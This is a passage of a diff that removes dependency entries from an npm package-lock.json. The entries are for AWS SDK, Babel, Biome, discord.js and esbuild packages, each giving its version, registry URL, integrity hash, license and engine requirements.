"sha512-FAzqXvfEssGdSIz8ejatan0bOdx1qefBWKF/gWmVBXIP1HkS7v/wjjaqrAGGKvyihrXTXW00/2/1nTJtxpXz7g==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "^3.973.8", - "@smithy/types": "^4.14.1", - "bowser": "^2.11.0", - "tslib": "^2.6.2" - } - }, - "node_modules/@aws-sdk/util-user-agent-node": { - "version": "3.973.24", - "resolved": "https://registry.npmjs.org/@aws-sdk/util-user-agent-node/-/util-user-agent-node-3.973.24.tgz", - "integrity": "sha512-ZWwlkjcIp7cEL8ZfTpTAPNkwx25p7xol0xlKoWVVf22+nsjwmLcHYtTPjIV1cSpmB/b6DaK4cb1fSkvCXHgRdw==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/middleware-user-agent": "^3.972.38", - "@aws-sdk/types": "^3.973.8", - "@smithy/node-config-provider": "^4.3.14", - "@smithy/types": "^4.14.1", - "@smithy/util-config-provider": "^4.2.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - }, - "peerDependencies": { - "aws-crt": ">=1.0.0" - }, - "peerDependenciesMeta": { - "aws-crt": { - "optional": true - } - } - }, - "node_modules/@aws-sdk/xml-builder": { - "version": "3.972.22", - "resolved": "https://registry.npmjs.org/@aws-sdk/xml-builder/-/xml-builder-3.972.22.tgz", - "integrity": "sha512-PMYKKtJd70IsSG0yHrdAbxBr+ZWBKLvzFZfD3/urxgf6hXVMzuU5M+3MJ5G67RpOmLBu1fAUN65SbWuKUCOlAA==", - "license": "Apache-2.0", - "dependencies": { - "@nodable/entities": "2.1.0", - "@smithy/types": "^4.14.1", - "fast-xml-parser": "5.7.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws/lambda-invoke-store": { - "version": "0.2.4", - "resolved": "https://registry.npmjs.org/@aws/lambda-invoke-store/-/lambda-invoke-store-0.2.4.tgz", - "integrity": "sha512-iY8yvjE0y651BixKNPgmv1WrQc+GZ142sb0z4gYnChDDY2YqI4P/jsSopBWrKfAt7LOJAkOXt7rC/hms+WclQQ==", - "license": "Apache-2.0", - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@babel/code-frame": { - "version": "7.29.0", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.0.tgz", - "integrity": "sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw==", - "license": "MIT", - "dependencies": { - "@babel/helper-validator-identifier": "^7.28.5", - "js-tokens": "^4.0.0", - "picocolors": "^1.1.1" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-string-parser": { - "version": "7.27.1", - "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", - "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-validator-identifier": { - "version": "7.28.5", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz", - "integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==", - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/parser": { - "version": "7.29.3", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.3.tgz", - "integrity": "sha512-b3ctpQwp+PROvU/cttc4OYl4MzfJUWy6FZg+PMXfzmt/+39iHVF0sDfqay8TQM3JA2EUOyKcFZt75jWriQijsA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/types": "^7.29.0" - }, - "bin": { - "parser": "bin/babel-parser.js" - }, - "engines": { - "node": ">=6.0.0" - } - }, - "node_modules/@babel/runtime": { - "version": "7.28.6", - "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.28.6.tgz", - "integrity": "sha512-05WQkdpL9COIMz4LjTxGpPNCdlpyimKppYNoJ5Di5EUObifl8t4tuLuUBBZEpoLYOmfvIWrsp9fCl0HoPRVTdA==", - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/types": { - "version": "7.29.0", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.0.tgz", - "integrity": "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/helper-string-parser": "^7.27.1", - "@babel/helper-validator-identifier": "^7.28.5" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@bcoe/v8-coverage": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-1.0.2.tgz", - "integrity": "sha512-6zABk/ECA/QYSCQ1NGiVwwbQerUCZ+TQbp64Q3AgmfNvurHH0j8TtXa1qbShXA6qqkpAj4V5W8pP6mLe1mcMqA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - } - }, - "node_modules/@biomejs/biome": { - "version": "2.4.14", - "resolved": "https://registry.npmjs.org/@biomejs/biome/-/biome-2.4.14.tgz", - "integrity": "sha512-TmAvxOEgrpLypzVGJ8FulIZnlyA9TxrO1hyqYrCz9r+bwma9xXxuLA5IuYnj55XQneFx460KjRbx6SWGLkg3bQ==", - "dev": true, - "license": "MIT OR Apache-2.0", - "bin": { - "biome": "bin/biome" - }, - "engines": { - "node": ">=14.21.3" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/biome" - }, - "optionalDependencies": { - "@biomejs/cli-darwin-arm64": "2.4.14", - "@biomejs/cli-darwin-x64": "2.4.14", - "@biomejs/cli-linux-arm64": "2.4.14", - "@biomejs/cli-linux-arm64-musl": "2.4.14", - "@biomejs/cli-linux-x64": "2.4.14", - "@biomejs/cli-linux-x64-musl": "2.4.14", - "@biomejs/cli-win32-arm64": "2.4.14", - "@biomejs/cli-win32-x64": "2.4.14" - } - }, - "node_modules/@biomejs/cli-darwin-arm64": { - "version": "2.4.14", - "resolved": "https://registry.npmjs.org/@biomejs/cli-darwin-arm64/-/cli-darwin-arm64-2.4.14.tgz", - "integrity": "sha512-XvgoE9XOawUOQPdmvs4J7wPhi/DLwSCGks3AlPJDmh34O0awRTqCED1HRcRDdpf1Zrp4us4MGOOdIxNpbqNF5Q==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT OR Apache-2.0", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=14.21.3" - } - }, - "node_modules/@biomejs/cli-darwin-x64": { - "version": "2.4.14", - "resolved": "https://registry.npmjs.org/@biomejs/cli-darwin-x64/-/cli-darwin-x64-2.4.14.tgz", - "integrity": "sha512-jE7hKBCFhOx3uUh+ZkWBfOHxAcILPfhFplNkuID/eZeSTLHzfZzoZxW8fbqY9xXRnPi7jGNAf1iPVR+0yWsM/Q==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT OR Apache-2.0", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=14.21.3" - } - }, - "node_modules/@biomejs/cli-linux-arm64": { - "version": "2.4.14", - "resolved": "https://registry.npmjs.org/@biomejs/cli-linux-arm64/-/cli-linux-arm64-2.4.14.tgz", - "integrity": "sha512-2TELhZnW5RSLL063l9rc5xLpA0ZIw0Ccwy/0q384rvNAgFw3yI76bd59547yxowdQr5MNPET/xDLrLuvgSeeWQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "libc": [ - "glibc" - ], - "license": "MIT OR Apache-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=14.21.3" - } - }, - "node_modules/@biomejs/cli-linux-arm64-musl": { - "version": "2.4.14", - "resolved": "https://registry.npmjs.org/@biomejs/cli-linux-arm64-musl/-/cli-linux-arm64-musl-2.4.14.tgz", - "integrity": "sha512-/z+6gqAqqUQTHazwStxSXKHg9b8UvqBmDFRp+c4wYbq2KXhELQDon9EoC9RpmQ8JWkqQx/lIUy/cs+MhzDZp6A==", - "cpu": [ - "arm64" - ], - "dev": true, - "libc": [ - "musl" - ], - "license": "MIT OR Apache-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=14.21.3" - } - }, - "node_modules/@biomejs/cli-linux-x64": { - "version": "2.4.14", - "resolved": "https://registry.npmjs.org/@biomejs/cli-linux-x64/-/cli-linux-x64-2.4.14.tgz", - "integrity": "sha512-zHrlQZDBDUz4OLAraYpWKcnLS6HOewBFWYOzY91d1ZjdqZwibOyb6BEu6WuWLugyo0P3riCmsbV9UqV1cSXwQg==", - "cpu": [ - "x64" - ], - "dev": true, - "libc": [ - "glibc" - ], - "license": "MIT OR Apache-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=14.21.3" - } - }, - "node_modules/@biomejs/cli-linux-x64-musl": { - "version": "2.4.14", - "resolved": "https://registry.npmjs.org/@biomejs/cli-linux-x64-musl/-/cli-linux-x64-musl-2.4.14.tgz", - "integrity": "sha512-R6BWgJdQOwW9ulJatuTVrQkjnODjqHZkKNOqb1sz++3Noe5LYd0i3PchnOBUCYAPHoPWHhjJqbdZlHEu0hpjdA==", - "cpu": [ - "x64" - ], - "dev": true, - "libc": [ - "musl" - ], - "license": "MIT OR Apache-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=14.21.3" - } - }, - "node_modules/@biomejs/cli-win32-arm64": { - "version": "2.4.14", - "resolved": "https://registry.npmjs.org/@biomejs/cli-win32-arm64/-/cli-win32-arm64-2.4.14.tgz", - "integrity": "sha512-M3EH5hqOI/F/FUA2u4xcLoUgmxd218mvuj/6JL7Hv2toQvr2/AdOvKSpGkoRuWFCtQPVa+ZqkEV3Q5xBA9+XSA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT OR Apache-2.0", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=14.21.3" - } - }, - "node_modules/@biomejs/cli-win32-x64": { - "version": "2.4.14", - "resolved": "https://registry.npmjs.org/@biomejs/cli-win32-x64/-/cli-win32-x64-2.4.14.tgz", - "integrity": "sha512-WL0EG5qE+EAKomGXbf2g6VnSKJhTL3tXC0QRzWRwA5VpjxNYa6H4P7ZWfymbGE4IhZZQi1KXQ2R0YjwInmz2fA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT OR Apache-2.0", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=14.21.3" - } - }, - "node_modules/@borewit/text-codec": { - "version": "0.2.2", - "resolved": "https://registry.npmjs.org/@borewit/text-codec/-/text-codec-0.2.2.tgz", - "integrity": "sha512-DDaRehssg1aNrH4+2hnj1B7vnUGEjU6OIlyRdkMd0aUdIUvKXrJfXsy8LVtXAy7DRvYVluWbMspsRhz2lcW0mQ==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/Borewit" - } - }, - "node_modules/@bufbuild/protobuf": { - "version": "2.12.0", - "resolved": "https://registry.npmjs.org/@bufbuild/protobuf/-/protobuf-2.12.0.tgz", - "integrity": "sha512-B/XlCaFIP8LOwzo+bz5uFzATYokcwCKQcghqnlfwSmM5eX/qTkvDBnDPs+gXtX/RyjxJ4DRikECcPJbyALA8FA==", - "license": "(Apache-2.0 AND BSD-3-Clause)" - }, - "node_modules/@clack/core": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/@clack/core/-/core-1.3.0.tgz", - "integrity": "sha512-xJPHpAmEQUBrXSLx0gF+q5K/IyihXpsHZcha+jB+tyahsKRK3Dxo4D0coZDewHo12NhiuzC3dTtMPbm53GEAAA==", - "license": "MIT", - "dependencies": { - "fast-wrap-ansi": "^0.2.0", - "sisteransi": "^1.0.5" - }, - "engines": { - "node": ">= 20.12.0" - } - }, - "node_modules/@clack/prompts": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/@clack/prompts/-/prompts-1.3.0.tgz", - "integrity": "sha512-GgcWwRCs/xPtaqlMy8qRhPnZf9vlWcWZNHAitnVQ3yk7JmSralSiq5q07yaffYE8SogtDm7zFeKccx1QNVARpw==", - "license": "MIT", - "dependencies": { - "@clack/core": "1.3.0", - "fast-string-width": "^3.0.2", - "fast-wrap-ansi": "^0.2.0", - "sisteransi": "^1.0.5" - }, - "engines": { - "node": ">= 20.12.0" - } - }, - "node_modules/@colors/colors": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/@colors/colors/-/colors-1.5.0.tgz", - "integrity": "sha512-ooWCrlZP11i8GImSjTHYHLkvFDP48nS4+204nGb1RiX/WXYHmJA2III9/e2DWVabCESdW7hBAEzHRqUn9OUVvQ==", - "dev": true, - "license": "MIT", - "optional": true, - "engines": { - "node": ">=0.1.90" - } - }, - "node_modules/@dependents/detective-less": { - "version": "5.0.3", - "resolved": "https://registry.npmjs.org/@dependents/detective-less/-/detective-less-5.0.3.tgz", - "integrity": "sha512-v6oD9Ukp+N7V4n6p5I/+mM5fIohSfkrDSGlFm5w/pYmchvbk+sMIHsLxrFJ5Lnujewj1BzWL0K84d88lwZAMQA==", - "dev": true, - "license": "MIT", - "dependencies": { - "gonzales-pe": "^4.3.0", - "node-source-walk": "^7.0.1" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/@discordjs/builders": { - "version": "1.14.1", - "resolved": "https://registry.npmjs.org/@discordjs/builders/-/builders-1.14.1.tgz", - "integrity": "sha512-gSKkhXLqs96TCzk66VZuHHl8z2bQMJFGwrXC0f33ngK+FLNau4hU1PYny3DNJfNdSH+gVMzE85/d5FQ2BpcNwQ==", - "license": "Apache-2.0", - "dependencies": { - "@discordjs/formatters": "^0.6.2", - "@discordjs/util": "^1.2.0", - "@sapphire/shapeshift": "^4.0.0", - "discord-api-types": "^0.38.40", - "fast-deep-equal": "^3.1.3", - "ts-mixer": "^6.0.4", - "tslib": "^2.6.3" - }, - "engines": { - "node": ">=16.11.0" - }, - "funding": { - "url": "https://github.com/discordjs/discord.js?sponsor" - } - }, - "node_modules/@discordjs/collection": { - "version": "1.5.3", - "resolved": "https://registry.npmjs.org/@discordjs/collection/-/collection-1.5.3.tgz", - "integrity": "sha512-SVb428OMd3WO1paV3rm6tSjM4wC+Kecaa1EUGX7vc6/fddvw/6lg90z4QtCqm21zvVe92vMMDt9+DkIvjXImQQ==", - "license": "Apache-2.0", - "engines": { - "node": ">=16.11.0" - } - }, - "node_modules/@discordjs/formatters": { - "version": "0.6.2", - "resolved": "https://registry.npmjs.org/@discordjs/formatters/-/formatters-0.6.2.tgz", - "integrity": "sha512-y4UPwWhH6vChKRkGdMB4odasUbHOUwy7KL+OVwF86PvT6QVOwElx+TiI1/6kcmcEe+g5YRXJFiXSXUdabqZOvQ==", - "license": "Apache-2.0", - "dependencies": { - "discord-api-types": "^0.38.33" - }, - "engines": { - "node": ">=16.11.0" - }, - "funding": { - "url": "https://github.com/discordjs/discord.js?sponsor" - } - }, - "node_modules/@discordjs/rest": { - "version": "2.6.1", - "resolved": "https://registry.npmjs.org/@discordjs/rest/-/rest-2.6.1.tgz", - "integrity": "sha512-wwQdgjeaoYFiaG+atbqx6aJDpqW7JHAo0HrQkBTbYzM3/PJ3GweQIpgElNcGZ26DCUOXMyawYd0YF7vtr+fZXg==", - "license": "Apache-2.0", - "dependencies": { - "@discordjs/collection": "^2.1.1", - "@discordjs/util": "^1.2.0", - "@sapphire/async-queue": "^1.5.3", - "@sapphire/snowflake": "^3.5.5", - "@vladfrangu/async_event_emitter": "^2.4.6", - "discord-api-types": "^0.38.40", - "magic-bytes.js": "^1.13.0", - "tslib": "^2.6.3", - "undici": "6.24.1" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/discordjs/discord.js?sponsor" - } - }, - "node_modules/@discordjs/rest/node_modules/@discordjs/collection": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/@discordjs/collection/-/collection-2.1.1.tgz", - "integrity": "sha512-LiSusze9Tc7qF03sLCujF5iZp7K+vRNEDBZ86FT9aQAv3vxMLihUvKvpsCWiQ2DJq1tVckopKm1rxomgNUc9hg==", - "license": "Apache-2.0", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/discordjs/discord.js?sponsor" - } - }, - "node_modules/@discordjs/rest/node_modules/@sapphire/snowflake": { - "version": "3.5.5", - "resolved": "https://registry.npmjs.org/@sapphire/snowflake/-/snowflake-3.5.5.tgz", - "integrity": "sha512-xzvBr1Q1c4lCe7i6sRnrofxeO1QTP/LKQ6A6qy0iB4x5yfiSfARMEQEghojzTNALDTcv8En04qYNIco9/K9eZQ==", - "license": "MIT", - "engines": { - "node": ">=v14.0.0", - "npm": ">=7.0.0" - } - }, - "node_modules/@discordjs/rest/node_modules/undici": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/undici/-/undici-6.24.1.tgz", - "integrity": "sha512-sC+b0tB1whOCzbtlx20fx3WgCXwkW627p4EA9uM+/tNNPkSS+eSEld6pAs9nDv7WbY1UUljBMYPtu9BCOrCWKA==", - "license": "MIT", - "engines": { - "node": ">=18.17" - } - }, - "node_modules/@discordjs/util": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/@discordjs/util/-/util-1.2.0.tgz", - "integrity": "sha512-3LKP7F2+atl9vJFhaBjn4nOaSWahZ/yWjOvA4e5pnXkt2qyXRCHLxoBQy81GFtLGCq7K9lPm9R517M1U+/90Qg==", - "license": "Apache-2.0", - "dependencies": { - "discord-api-types": "^0.38.33" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/discordjs/discord.js?sponsor" - } - }, - "node_modules/@discordjs/ws": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/@discordjs/ws/-/ws-1.2.3.tgz", - "integrity": "sha512-wPlQDxEmlDg5IxhJPuxXr3Vy9AjYq5xCvFWGJyD7w7Np8ZGu+Mc+97LCoEc/+AYCo2IDpKioiH0/c/mj5ZR9Uw==", - "license": "Apache-2.0", - "dependencies": { - "@discordjs/collection": "^2.1.0", - "@discordjs/rest": "^2.5.1", - "@discordjs/util": "^1.1.0", - "@sapphire/async-queue": "^1.5.2", - "@types/ws": "^8.5.10", - "@vladfrangu/async_event_emitter": "^2.2.4", - "discord-api-types": "^0.38.1", - "tslib": "^2.6.2", - "ws": "^8.17.0" - }, - "engines": { - "node": ">=16.11.0" - }, - "funding": { - "url": "https://github.com/discordjs/discord.js?sponsor" - } - }, - "node_modules/@discordjs/ws/node_modules/@discordjs/collection": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/@discordjs/collection/-/collection-2.1.1.tgz", - "integrity": "sha512-LiSusze9Tc7qF03sLCujF5iZp7K+vRNEDBZ86FT9aQAv3vxMLihUvKvpsCWiQ2DJq1tVckopKm1rxomgNUc9hg==", - "license": "Apache-2.0", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/discordjs/discord.js?sponsor" - } - }, - "node_modules/@emnapi/runtime": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.9.0.tgz", - "integrity": "sha512-QN75eB0IH2ywSpRpNddCRfQIhmJYBCJ1x5Lb3IscKAL8bMnVAKnRg8dCoXbHzVLLH7P38N2Z3mtulB7W0J0FKw==", - "license": "MIT", - "optional": true, - "dependencies": { - "tslib": "^2.4.0" - } - }, - "node_modules/@esbuild/aix-ppc64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.27.7.tgz", - "integrity": "sha512-EKX3Qwmhz1eMdEJokhALr0YiD0lhQNwDqkPYyPhiSwKrh7/4KRjQc04sZ8db+5DVVnZ1LmbNDI1uAMPEUBnQPg==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "aix" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-arm": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.27.7.tgz", - "integrity": "sha512-jbPXvB4Yj2yBV7HUfE2KHe4GJX51QplCN1pGbYjvsyCZbQmies29EoJbkEc+vYuU5o45AfQn37vZlyXy4YJ8RQ==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-arm64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.27.7.tgz", - "integrity": "sha512-62dPZHpIXzvChfvfLJow3q5dDtiNMkwiRzPylSCfriLvZeq0a1bWChrGx/BbUbPwOrsWKMn8idSllklzBy+dgQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-x64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.27.7.tgz", - "integrity": "sha512-x5VpMODneVDb70PYV2VQOmIUUiBtY3D3mPBG8NxVk5CogneYhkR7MmM3yR/uMdITLrC1ml/NV1rj4bMJuy9MCg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/darwin-arm64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.27.7.tgz", - "integrity": "sha512-5lckdqeuBPlKUwvoCXIgI2D9/ABmPq3Rdp7IfL70393YgaASt7tbju3Ac+ePVi3KDH6N2RqePfHnXkaDtY9fkw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/darwin-x64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.27.7.tgz", - "integrity": "sha512-rYnXrKcXuT7Z+WL5K980jVFdvVKhCHhUwid+dDYQpH+qu+TefcomiMAJpIiC2EM3Rjtq0sO3StMV/+3w3MyyqQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/freebsd-arm64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.27.7.tgz", - "integrity": "sha512-B48PqeCsEgOtzME2GbNM2roU29AMTuOIN91dsMO30t+Ydis3z/3Ngoj5hhnsOSSwNzS+6JppqWsuhTp6E82l2w==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/freebsd-x64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.27.7.tgz", - "integrity": "sha512-jOBDK5XEjA4m5IJK3bpAQF9/Lelu/Z9ZcdhTRLf4cajlB+8VEhFFRjWgfy3M1O4rO2GQ/b2dLwCUGpiF/eATNQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-arm": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.27.7.tgz", - "integrity": "sha512-RkT/YXYBTSULo3+af8Ib0ykH8u2MBh57o7q/DAs3lTJlyVQkgQvlrPTnjIzzRPQyavxtPtfg0EopvDyIt0j1rA==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-arm64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.27.7.tgz", - "integrity": "sha512-RZPHBoxXuNnPQO9rvjh5jdkRmVizktkT7TCDkDmQ0W2SwHInKCAV95GRuvdSvA7w4VMwfCjUiPwDi0ZO6Nfe9A==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-ia32": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.27.7.tgz", - "integrity": "sha512-GA48aKNkyQDbd3KtkplYWT102C5sn/EZTY4XROkxONgruHPU72l+gW+FfF8tf2cFjeHaRbWpOYa/uRBz/Xq1Pg==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-loong64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.27.7.tgz", - "integrity": "sha512-a4POruNM2oWsD4WKvBSEKGIiWQF8fZOAsycHOt6JBpZ+JN2n2JH9WAv56SOyu9X5IqAjqSIPTaJkqN8F7XOQ5Q==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-mips64el": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.27.7.tgz", - "integrity": "sha512-KabT5I6StirGfIz0FMgl1I+R1H73Gp0ofL9A3nG3i/cYFJzKHhouBV5VWK1CSgKvVaG4q1RNpCTR2LuTVB3fIw==", - "cpu": [ - "mips64el" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-ppc64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.27.7.tgz", - "integrity": "sha512-gRsL4x6wsGHGRqhtI+ifpN/vpOFTQtnbsupUF5R5YTAg+y/lKelYR1hXbnBdzDjGbMYjVJLJTd2OFmMewAgwlQ==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-riscv64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.27.7.tgz", - "integrity": "sha512-hL25LbxO1QOngGzu2U5xeXtxXcW+/GvMN3ejANqXkxZ/opySAZMrc+9LY/WyjAan41unrR3YrmtTsUpwT66InQ==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-s390x": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.27.7.tgz", - "integrity": "sha512-2k8go8Ycu1Kb46vEelhu1vqEP+UeRVj2zY1pSuPdgvbd5ykAw82Lrro28vXUrRmzEsUV0NzCf54yARIK8r0fdw==", - "cpu": [ - "s390x" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-x64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.27.7.tgz", - "integrity": "sha512-hzznmADPt+OmsYzw1EE33ccA+HPdIqiCRq7cQeL1Jlq2gb1+OyWBkMCrYGBJ+sxVzve2ZJEVeePbLM2iEIZSxA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/netbsd-arm64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.27.7.tgz", - "integrity": "sha512-b6pqtrQdigZBwZxAn1UpazEisvwaIDvdbMbmrly7cDTMFnw/+3lVxxCTGOrkPVnsYIosJJXAsILG9XcQS+Yu6w==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "netbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/netbsd-x64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.27.7.tgz", - "integrity": "sha512-OfatkLojr6U+WN5EDYuoQhtM+1xco+/6FSzJJnuWiUw5eVcicbyK3dq5EeV/QHT1uy6GoDhGbFpprUiHUYggrw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "netbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openbsd-arm64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.27.7.tgz", - "integrity": "sha512-AFuojMQTxAz75Fo8idVcqoQWEHIXFRbOc1TrVcFSgCZtQfSdc1RXgB3tjOn/krRHENUB4j00bfGjyl2mJrU37A==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - 